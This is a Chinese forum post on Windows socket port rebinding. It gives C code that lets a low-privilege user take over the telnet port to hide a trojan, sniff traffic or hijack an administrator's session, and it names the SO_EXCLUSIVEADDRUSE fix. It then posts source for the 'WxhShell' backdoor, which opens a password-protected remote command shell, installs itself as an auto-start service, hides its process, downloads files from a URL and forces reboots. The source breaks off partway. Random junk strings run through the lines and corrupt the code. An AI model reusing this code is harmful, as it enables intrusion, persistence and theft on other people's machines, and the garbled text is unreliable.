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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: X|QCa@Foe  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); B5cyX*!?  
P3yiJ|vP  
  saddr.sin_family = AF_INET; StDmJ]  
dbuOiZ  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); &`Di cfD  
PHK#b.B>a8  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 0;H6b=  
t? A4xk  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 y;Zfz~z  
mce`1Tjw  
  这意味着什么?意味着可以进行如下的攻击: ^sOm7S{  
Fp6Y Y  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 {l11WiqQH  
=zjUd  5  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) YKg[k:F  
RsD`9>6)  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 t(Zs*c(  
9v F2aLPk  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  JAb?u.,Ns_  
PM.SEzhm  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 p<zXuocQ  
cGc|n3(  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 LJ/qF0L!H  
_tReZ(Vw  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 !TOi]`vqc  
f0`' i[  
  #include s4gNS eA  
  #include UvZ@"El  
  #include $i@EfujY  
  #include    D,n}Qf!GYk  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Xe SbA  
  int main() ?R]y}6 P$  
  { Doh|G:P]#  
  WORD wVersionRequested; e87- B1`  
  DWORD ret; 05KoxFO?  
  WSADATA wsaData; $ tNhwF  
  BOOL val; "k<:a2R  
  SOCKADDR_IN saddr; 1 (i>Vt.+  
  SOCKADDR_IN scaddr; 6{$dFwl  
  int err; bQy%$7UmX,  
  SOCKET s; U+"=  
  SOCKET sc; `zp2;]W  
  int caddsize; MH.,s@  
  HANDLE mt; bX H^Bm  
  DWORD tid;   icul15'i  
  wVersionRequested = MAKEWORD( 2, 2 ); @,4%8E5  
  err = WSAStartup( wVersionRequested, &wsaData ); Uo}&-$B  
  if ( err != 0 ) { D i'u%r  
  printf("error!WSAStartup failed!\n"); '= <`@  
  return -1; <gdgcvd  
  } b H?qijrC  
  saddr.sin_family = AF_INET; 8>{W:?I  
   @5jG  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 8KtgSash  
z>33O5U  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); +w.Kv ;  
  saddr.sin_port = htons(23); _qeuVi=A  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ij(4)=  
  { HQ3`:l  
  printf("error!socket failed!\n"); !1'-'Q@f  
  return -1; R2O.}!'  
  } a9Fm Y`  
  val = TRUE; iEviH>b5  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 pfZ,t<bE2  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 7vaN&%;E%  
  {  A<Z 5  
  printf("error!setsockopt failed!\n"); p$nK@t}  
  return -1; fHd!/%iG  
  } {* j^g6;  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; "Wk{4gS7l  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 r^A#[-VyNP  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 = b<<5N s  
N4H+_g|  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Yc82vSG'  
  { iEpq*Qj  
  ret=GetLastError(); ;:4P'FWm^  
  printf("error!bind failed!\n"); 'K3 s4x($  
  return -1; vzcBo%  
  }  l}0V+  
  listen(s,2); l-S'ATZ0p  
  while(1) T5azYdzJy  
  { QG|GXp_q`  
  caddsize = sizeof(scaddr); zZ9<4"CIk  
  //接受连接请求 9*|3E"Vr  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); %md^S |  
  if(sc!=INVALID_SOCKET) V 7l{hEo3?  
  { ?JgO-.  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); H_?B{We  
  if(mt==NULL) hOB\n!  
  { pf8O`e,Awf  
  printf("Thread Creat Failed!\n"); $}nh[@  
  break; '^U tbp2<  
  } R6Zj=l[  
  } 8b(1ut{  
  CloseHandle(mt); !(*a+ur&i  
  } 'q92E(  
  closesocket(s); IE)"rTI)b  
  WSACleanup(); *NW QmC~  
  return 0; ;4G\]%c)E{  
  }   t @(9ga(  
  DWORD WINAPI ClientThread(LPVOID lpParam) /> 3  
  { KR=d"t Qw  
  SOCKET ss = (SOCKET)lpParam; 2]D$|M?$~  
  SOCKET sc; /c@*eU  
  unsigned char buf[4096]; >7nV$.5S  
  SOCKADDR_IN saddr; 5e)6ua,  
  long num; 2 {e dW+  
  DWORD val; 7-d}pgVK  
  DWORD ret; {OO*iZ.O  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ov`^o25f  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ?+n&hHRg  
  saddr.sin_family = AF_INET; qBy NHo7Tb  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); i Y*o;z,~  
  saddr.sin_port = htons(23); )@]6=*%  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ])V2}gH  
  { *:\:5*SY  
  printf("error!socket failed!\n"); "Ap$ Jl B  
  return -1; vm\wO._  
  } Z'Exw-ca  
  val = 100; *BLe3dok(  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3vdu;W=Sz  
  { :}@C9pqr2  
  ret = GetLastError(); 2.LJp}>  
  return -1; #zS1Z f^KP  
  } Vvm=MBgN  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) QqiJun_m  
  { VYamskK[G:  
  ret = GetLastError(); Qj(vBo?D  
  return -1; K`QOU-M@}  
  } RpO@pd m  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 7R9nMGJ@  
  { 5: daa  
  printf("error!socket connect failed!\n"); YlswSQ  
  closesocket(sc); )bLGEmm  
  closesocket(ss); "1XXE3^^  
  return -1; VG_uxKY  
  } d4Co^A&  
  while(1) `DLp<_z>  
  { qH#r-  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ?a5h iN0  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 H2qf'  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 iHAU|`'N)  
  num = recv(ss,buf,4096,0); R_Zv'y6  
  if(num>0) w9RF2J  
  send(sc,buf,num,0); .dx 4,|6  
  else if(num==0) %G;0T;0L  
  break; _wf5%(~b  
  num = recv(sc,buf,4096,0); j G-  
  if(num>0) I|,pE**T  
  send(ss,buf,num,0); @$qOW  
  else if(num==0) z`k El@  
  break; No`|m0 :j  
  } .sM<6;  
  closesocket(ss); #D+7TWDwNt  
  closesocket(sc); t})lr\  
  return 0 ; EL^8zyg%%  
  } ))7LE|1l  
eV"!/A2:N5  
'X =p7 d|'  
========================================================== vQ:wW',i  
G' Blp  
下边附上一个代码,,WXhSHELL ,E\h!/X  
OT%0{2c"]  
========================================================== ]N*L7AVl  
E {tx/$f  
#include "stdafx.h" v" }WP34  
G&q'#3ieC  
#include <stdio.h> +R-h ,$\=7  
#include <string.h> wfgqgPo!v  
#include <windows.h> ?4XnEDA m  
#include <winsock2.h> %.mEBI=hs  
#include <winsvc.h> W'a(oI  
#include <urlmon.h> V=pMq?Nr  
l)4O .*  
#pragma comment (lib, "Ws2_32.lib") M!1U@6n!=)  
#pragma comment (lib, "urlmon.lib") j'K38@M:MN  
F{<5aLaYti  
#define MAX_USER   100 // 最大客户端连接数 -?s&pKi  
#define BUF_SOCK   200 // sock buffer yuOS&+,P  
#define KEY_BUFF   255 // 输入 buffer veeI==]  
>F1G!#$0  
#define REBOOT     0   // 重启 ~h-C&G ,v  
#define SHUTDOWN   1   // 关机 Nln`fE/Ht  
5W/{h q8}}  
#define DEF_PORT   5000 // 监听端口 -LtK8wl^  
m9in1RI%  
#define REG_LEN     16   // 注册表键长度 pkJ/oT  
#define SVC_LEN     80   // NT服务名长度 57wFf-P  
{ ;s;.  
// 从dll定义API AS)UJ/lC  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); K]c4"JJ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); kb71q:[  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); j^flwk  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \v+u;6cx_  
~#R9i^Y  
// wxhshell配置信息 'JieIKu  
struct WSCFG { NzQ9Z1Mxy  
  int ws_port;         // 监听端口 : [q0S@  
  char ws_passstr[REG_LEN]; // 口令 nVE9^')8V  
  int ws_autoins;       // 安装标记, 1=yes 0=no MtS3p>4  
  char ws_regname[REG_LEN]; // 注册表键名 v2Bzx/F:  
  char ws_svcname[REG_LEN]; // 服务名 }GumpT$Xw  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 (hIF]>,kl  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ~@T<gA9V  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 c.A Yx I"  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ~vHk&r]|  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" F.tfgW(A@  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 mpgO s  
-(i(02PX  
}; k|xtrW`qo;  
Y34/+Fi  
// default Wxhshell configuration +k.%PO0np  
struct WSCFG wscfg={DEF_PORT, (a@?s$LG  
    "xuhuanlingzhe", W+Xz$j/u  
    1, Z\~G U*Y.e  
    "Wxhshell", -&|: 0#@P  
    "Wxhshell", {`(>O"_[Q  
            "WxhShell Service", {o0qUX>[  
    "Wrsky Windows CmdShell Service", ^Dg <Ki  
    "Please Input Your Password: ", sV/l5]b]  
  1, O:'?n8rWL  
  "http://www.wrsky.com/wxhshell.exe", +vW)vS[  
  "Wxhshell.exe" :w`3cw Q  
    }; l.`u5D  
.~>?*}  
// 消息定义模块 j~E",7Q'  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; K<4Kk3  
char *msg_ws_prompt="\n\r? for help\n\r#>"; }lP;U$  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ljC(L/I  
char *msg_ws_ext="\n\rExit."; eSEq{ ?>  
char *msg_ws_end="\n\rQuit."; FdzNE  
char *msg_ws_boot="\n\rReboot..."; n(1')?"mA  
char *msg_ws_poff="\n\rShutdown..."; j'?7D0>  
char *msg_ws_down="\n\rSave to ";  7I=C+  
 J@_ctGv  
char *msg_ws_err="\n\rErr!"; ?m7:if+ y  
char *msg_ws_ok="\n\rOK!"; ujFzJdp3k  
[kV;[c}  
char ExeFile[MAX_PATH]; fpWg R4__  
int nUser = 0; Os&n  
HANDLE handles[MAX_USER]; Su8|R"qU  
int OsIsNt; FOwnxYGVf  
{sVY`}p|  
SERVICE_STATUS       serviceStatus; c$:1:B9\  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; z'7[Tie  
lDc-W =X=  
// 函数声明 fB1TFtAh  
int Install(void); KS}hU~  
int Uninstall(void); ^/U27B  
int DownloadFile(char *sURL, SOCKET wsh); vxFTen{-F  
int Boot(int flag); `'I{U5;e  
void HideProc(void); ]:(W_ qEA  
int GetOsVer(void); omSM:f_~  
int Wxhshell(SOCKET wsl); "{D6J809  
void TalkWithClient(void *cs); |4(~%| 8{  
int CmdShell(SOCKET sock); NTo!'p:s  
int StartFromService(void); 3S*AxAeg  
int StartWxhshell(LPSTR lpCmdLine); y [#pC<^  
 =<}<Ny  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); K+*Q@R D  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 6$U]9D  
/./"x~@  
// 数据结构和表定义 [AU II*:}  
SERVICE_TABLE_ENTRY DispatchTable[] = `B/0iA  
{ i;/xK=L  
{wscfg.ws_svcname, NTServiceMain}, >Dw~P OMy  
{NULL, NULL} ^3VR-u<O  
}; wh6yPVVF/  
Q=mI 9  
// 自我安装 oA] KE"T  
int Install(void) $ _j[2EU  
{ xu5ia|gYz7  
  char svExeFile[MAX_PATH]; NLS"eD m  
  HKEY key; x5}'7,A  
  strcpy(svExeFile,ExeFile); v+ 7kU=  
#:jb*d?  
// 如果是win9x系统,修改注册表设为自启动 >Fio;cn?  
if(!OsIsNt) { 54lu2gD'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { mw$r$C{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); aNcd` $0  
  RegCloseKey(key); S$TmZk=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { fyTAou6hI  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); , DdB^Ig<r  
  RegCloseKey(key); E 99hlY~1:  
  return 0; $YxBE`)d-  
    } (*}yjUYLZ  
  } S$)*&46g  
} >Y7a4~ufko  
else { 2H71~~ c  
}KUd7[s  
// 如果是NT以上系统,安装为系统服务 GSclK|#t E  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); q6Rr.A  
if (schSCManager!=0) ,.iRnR  
{ W1fW}0   
  SC_HANDLE schService = CreateService m!<i0thJ  
  ( m>USD? i  
  schSCManager, w(ln5q  
  wscfg.ws_svcname, <q*oV  
  wscfg.ws_svcdisp, ,}oM-B  
  SERVICE_ALL_ACCESS, qm/Q65>E  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , :NJ_n6E  
  SERVICE_AUTO_START, pl@O N"=[  
  SERVICE_ERROR_NORMAL, NBl+_/2'w  
  svExeFile, )?+$x[f!*  
  NULL, vgY3L  
  NULL, Z;9>S=w!  
  NULL, ^b:( jI*l  
  NULL, .2d9?p3Y  
  NULL :w}{$v}#D;  
  ); T134ZXqqz  
  if (schService!=0) ojYbR<jn9  
  { Xq'cA9v=$J  
  CloseServiceHandle(schService); EA ]+vq  
  CloseServiceHandle(schSCManager); KT]Pw\y5  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ? WJ> p  
  strcat(svExeFile,wscfg.ws_svcname); ^` un'5Vk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { S$KFf=0  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); >U F  
  RegCloseKey(key); f#+el y  
  return 0; 3bO(?l`3h  
    } 720P jQ  
  } l/;X?g5+  
  CloseServiceHandle(schSCManager); %ZHP2j %~  
}  "KcA  
} n>@oBG)!  
>WY#4  
return 1; DN4$Jva  
} R$;n)_H  
y#}cC+;   
// 自我卸载 [MuEoWrq(}  
int Uninstall(void) ),%6V5a+E  
{ wFG3KzEq ~  
  HKEY key; 8XbA'% o  
@lJzr3}WZ  
if(!OsIsNt) { {vAE:W.s  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $w"$r$K9K  
  RegDeleteValue(key,wscfg.ws_regname); /cc\fw1+  
  RegCloseKey(key); o7IxJCL=Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  hi g2  
  RegDeleteValue(key,wscfg.ws_regname); [+O"<Ua  
  RegCloseKey(key); GfM;saTz{  
  return 0; j ";2o(  
  } (sVi\R  
} nUkaz*4qU  
} f~ }H  
else { !i=nSqW  
9UvXC)R1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); J2uZmEt  
if (schSCManager!=0) N0#JOu}~  
{ [@yV!#2  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); =8U&[F  
  if (schService!=0) Q:J^"  
  { >X*Mio8P#  
  if(DeleteService(schService)!=0) { sz9L8f2  
  CloseServiceHandle(schService); Z7 E  
  CloseServiceHandle(schSCManager); 'X shmZ0&  
  return 0; qzb<J=FAU  
  } DTWD |M  
  CloseServiceHandle(schService); K~ ;45Z2  
  } '\jd#Kn'h  
  CloseServiceHandle(schSCManager); (b`]M`Fc  
} Nk {XdrY  
} V!)O6?l  
T#bu V  
return 1; GF3/RT9  
} LjV]0%j?r  
Web|\CH  
// 从指定url下载文件 ~|<m,)!  
int DownloadFile(char *sURL, SOCKET wsh) a# c6[!   
{ ^ns@O+Fk  
  HRESULT hr; eb*#'\~'  
char seps[]= "/"; ~o n(3|$  
char *token; b(9FZ]7S  
char *file; >I=2!C1w  
char myURL[MAX_PATH]; ZJlEKib%2  
char myFILE[MAX_PATH]; z0/} !  
^e+a  
strcpy(myURL,sURL); fxgr`nC  
  token=strtok(myURL,seps); mFHH515  
  while(token!=NULL) EUIIr4]  
  { .!JVr"8  
    file=token; 4 B*0M  
  token=strtok(NULL,seps); &w=3^  
  } xLx]_R()  
([xo9FP;  
GetCurrentDirectory(MAX_PATH,myFILE); u ElAnrm  
strcat(myFILE, "\\"); '= l[;Q^Q  
strcat(myFILE, file); < })'Y~i  
  send(wsh,myFILE,strlen(myFILE),0); _'#x^D  
send(wsh,"...",3,0); D-,L&R!`  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); fryJW=  
  if(hr==S_OK) n-DVT;y  
return 0; : }`-B0  
else -,["c9'3  
return 1; Iy }:F8F>g  
2.d|G `  
} |{,KRO0P  
^FnfJ:  
// 系统电源模块 '?({;/L  
int Boot(int flag) %$TGzK1  
{ c sfgJ^n  
  HANDLE hToken; ^ "\R\COQ  
  TOKEN_PRIVILEGES tkp; _D|^.)=U|  
`c'W-O/  
  if(OsIsNt) { Yq/.-4 y  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);  YBnA+l*  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); itzyCw2|#  
    tkp.PrivilegeCount = 1; <7Ae-!>x  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; IJ/sX_k  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); uPniLx\t:  
if(flag==REBOOT) { +S=Rn,  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) vVE7fq3  
  return 0; Kt(-@\)!  
} t-LG }nv  
else { oTT7M`P3h  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _sbp6ZO_  
  return 0; sdS^e`S  
} 5/O'R9A4  
  } ~,2/JDVJ5-  
  else { wfjnA~1h  
if(flag==REBOOT) { fK(}Ce  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) E_zIg+(+  
  return 0; 5^j45'%I  
} xzx$TUL  
else { T,$WlK Wj  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) kCXdGhb  
  return 0; Y F*OU"2U  
} ^gFqRbuS  
} is/scv<  
*OyHHq|>q  
return 1; T\r@5Xv  
} ~/_SMPLo  
wM|" I^[  
// win9x进程隐藏模块 `~cuQ<3Tn  
void HideProc(void) 1nu^F,M  
{ }@r{?8Ru  
-J^(eog[6  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); mLL340c#\  
  if ( hKernel != NULL ) 1LJUr"6]  
  { {?`al5Sz  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); -@ZiS^l  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); B7z -7&TE  
    FreeLibrary(hKernel); ^H6<Km l/V  
  } V= 1Bo~  
hxS 6:5Uc  
return; R-P-i0 ~  
} K+6e?5t  
[g2;N,V#  
// 获取操作系统版本 Ldn8  
int GetOsVer(void) CXCpqcC  
{ Dnc<sd;  
  OSVERSIONINFO winfo; xGI, Lk+  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?@n/v F  
  GetVersionEx(&winfo); 6_4D9 W  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) h`MF#617  
  return 1; _wdG|{px  
  else 3su78et}  
  return 0; x1ztfJd  
} F!.E5<&7=  
wYlf^~#"  
// 客户端句柄模块 J6jwBo2m  
int Wxhshell(SOCKET wsl) u~)`&1{%  
{ Y\0}R,]a-  
  SOCKET wsh; pZU9^Z?~6  
  struct sockaddr_in client; z ;u  
  DWORD myID; %4W$Lq}  
V:G>G'Eh0  
  while(nUser<MAX_USER) P<fnLQ9  
{ Q%-di=  
  int nSize=sizeof(client); R-:fd!3oQ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); lb:/EUd5  
  if(wsh==INVALID_SOCKET) return 1; RNQK  
hTbI -u7BF  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); $\k0Nup}  
if(handles[nUser]==0) =rR~`  
  closesocket(wsh); DvM5 k  
else 98.>e  
  nUser++; KeNL0_ Pw  
  } sFBneBub  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 1[ ]&(Pa  
0D8K=h&e  
  return 0; v<fnB  
} A?G^\I~v  
!yhh8p3  
// 关闭 socket aAy'\T$x.  
void CloseIt(SOCKET wsh) |T{C,"9y  
{ #Eb5:;  
closesocket(wsh); f>ZyI{  
nUser--; ^`<w&I@  
ExitThread(0); q%5eVG  
} q:<{% U$  
N D<HXO  
// 客户端请求句柄 y ^;l*qq  
void TalkWithClient(void *cs) _f6HAGDN  
{ iX\W;V  
C4}*) a  
  SOCKET wsh=(SOCKET)cs; YSaJeU>@  
  char pwd[SVC_LEN]; !p1qJ [  
  char cmd[KEY_BUFF]; V_Wwrhua  
char chr[1]; # 6!5 2  
int i,j; B(F,h+ajy  
.I@CS>j  
  while (nUser < MAX_USER) { LOTP*Syjf  
<40rYr$/J  
if(wscfg.ws_passstr) { +D1d=4  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7n90f2"m  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); fo4.JyBk  
  //ZeroMemory(pwd,KEY_BUFF); 4 QZ?}iz  
      i=0; -rKO )}  
  while(i<SVC_LEN) { ^V|Oxp'7_  
& /4k7X}y  
  // 设置超时 pMs AyCAk  
  fd_set FdRead; 2r%lA\,h$  
  struct timeval TimeOut; z]3 `*/B  
  FD_ZERO(&FdRead); %_UN<a  
  FD_SET(wsh,&FdRead); c/ 5W4_J  
  TimeOut.tv_sec=8; Z`&4SH=j  
  TimeOut.tv_usec=0; X w.p  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); iVfgDo  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); L}m8AAkP[  
pZyQY+O  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >{ me  
  pwd=chr[0]; + S4fGT  
  if(chr[0]==0xd || chr[0]==0xa) { Zatf9yGD  
  pwd=0; qT/Do?Y  
  break; ?b!Fa  
  } 0q rqg]  
  i++; Y4IGDY*  
    } 5 |/9}^T  
ip~$X 2  
  // 如果是非法用户,关闭 socket KgW:@X7wvM  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); b~BIz95  
} Z@gnsPN^r  
=:SN1#G3n  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \Ofw8=N-2  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); MV=9!{`  
{_U Kttp  
while(1) { I-agZag%  
OTZ_c1"K  
  ZeroMemory(cmd,KEY_BUFF); rfw-^`&{  
wC-Rr^q  
      // 自动支持客户端 telnet标准   !K? qgM  
  j=0; y&_m 4Zw"  
  while(j<KEY_BUFF) { B??J@+Nf  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); N S#TW  
  cmd[j]=chr[0]; !Oi~:Pp  
  if(chr[0]==0xa || chr[0]==0xd) { +PK6-c\r  
  cmd[j]=0; ,p;_\\<  
  break; V Yw%01#  
  } _p?s9&  
  j++; FecktD=  
    } 5( _6+'0  
umLb+GbI4  
  // 下载文件 u>pBB@  
  if(strstr(cmd,"http://")) { xug)aE  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); iRi{$.pVJ  
  if(DownloadFile(cmd,wsh)) h3gWOU  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); IHC1G1KW=A  
  else :D7|%KK  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g+PPW88P;  
  } TEsnNi 1  
  else { 0Aa`p3.)  
YK{a  
    switch(cmd[0]) { abxDB  
  NcCvm#  
  // 帮助 }`yiT<z  
  case '?': { f f7(  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); V,EF'-F  
    break; nY $tp  
  } ^Y{D^\} ,  
  // 安装 *V(Fn-6(  
  case 'i': { (qwdQMj`  
    if(Install()) 7~M<cD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0|D&"/.R#!  
    else V[a[i>,Z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >"3>fche  
    break; 9SMiJad<  
    } r.0oxH']  
  // 卸载 A"Q@W<.  
  case 'r': { *^ \FIUd  
    if(Uninstall()) 2i|B=D(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2q} ..  
    else =8=!Yc(>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wcDjg&:=ml  
    break; K t#,]]  
    } 2>em0{e  
  // 显示 wxhshell 所在路径 W 4YE~  
  case 'p': { GD-&_6a  
    char svExeFile[MAX_PATH]; }%{MPqg  
    strcpy(svExeFile,"\n\r"); NN 0Q`r,8}  
      strcat(svExeFile,ExeFile); .I$}KE)  
        send(wsh,svExeFile,strlen(svExeFile),0); ^;F{)bmu+)  
    break; ;HOPABWz)  
    } G[idN3+#  
  // 重启 .]Mn^2#j  
  case 'b': { y|_Eu:  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); AY_Q""v  
    if(Boot(REBOOT)) o/^;@5\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TJ6#P<M  
    else { 59Sw+iZj  
    closesocket(wsh); NHX>2-b  
    ExitThread(0); \Btk;ivg  
    } u~Tg&0V30  
    break; 9h(IUD{8  
    } #f'DEo<b  
  // 关机 Y@F  
  case 'd': { pw'wWZE'  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); YnV/M,U  
    if(Boot(SHUTDOWN)) MEwdw3  
